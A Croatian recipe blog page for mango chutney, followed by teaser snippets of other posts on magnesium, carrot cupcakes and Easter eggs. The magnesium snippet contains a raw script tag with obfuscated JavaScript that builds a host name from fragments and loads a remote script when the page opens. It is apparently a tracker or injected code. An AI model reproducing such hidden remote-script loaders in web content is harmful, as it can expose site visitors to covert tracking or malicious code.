CHUTNEY OD MANGA





Chutney od manga 




Ako volite kombinacije slatkog i slanog, chutney je nešto što vrijedi imati u hladnjaku. Ovaj gusti, aromatični umak potječe iz indijske kuhinje, ali se s vremenom proširio diljem svijeta i prilagodio različitim ukusima. Jedna od najpoznatijih verzija je mango chutney: kombinacija zrelog manga, octa, šećera i začina koja daje bogat, slojevit okus. Dobra vijest je da ga nije teško pripremiti kod kuće, a može se koristiti na različite načine.





Chutney od manga 


Sastojci:

  • 2 zrela manga (oko 500 g očišćenog voća)
  • 1 manji luk (sitno nasjeckan)
  • 2 režnja češnjaka
  • 1 komad svježeg đumbira (oko 2 cm)
  • 100 ml jabučnog ili vinskog octa
  • 80–100 g šećera (po ukusu)
  • 1 žličica soli
  • 1/2 žličice mljevenog kumina
  • 1/2 žličice mljevenog korijandra
  • prstohvat čilija ili ljute paprike (po želji)




Priprema: 

Ogulite mango i narežite ga na male kockice. Sitno nasjeckajte luk, češnjak i đumbir. U lonac stavite mango, luk, češnjak i đumbir. Dodajte ocat, šećer, sol i začine. Kuhajte sve na srednje laganoj vatri uz povremeno miješanje. Nakon 25 do 35 minuta smjesa će se zgusnuti i dobiti teksturu sličnu džemu. Po potrebi dodatno usitnite štapnim mikserom ako želite glađu teksturu. Ostavite da se ohladi, a zatim spremite u steriliziranu staklenku. Okus chutneyja postaje još bolji nakon dan ili dva u hladnjaku, kada se svi sastojci dodatno povežu.

Mango chutney je jednostavan način da u kuhinju unesete nešto drugačije, bez kompliciranih sastojaka ili tehnika. Njegova svestranost čini ga zanimljivim dodatkom raznim jelima. Ako volite eksperimentirati s okusima, ovaj recept može biti dobar početak. A jednom kada ga pripremite, lako ćete pronaći vlastite načine kako ga uklopiti u svakodnevne obroke.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više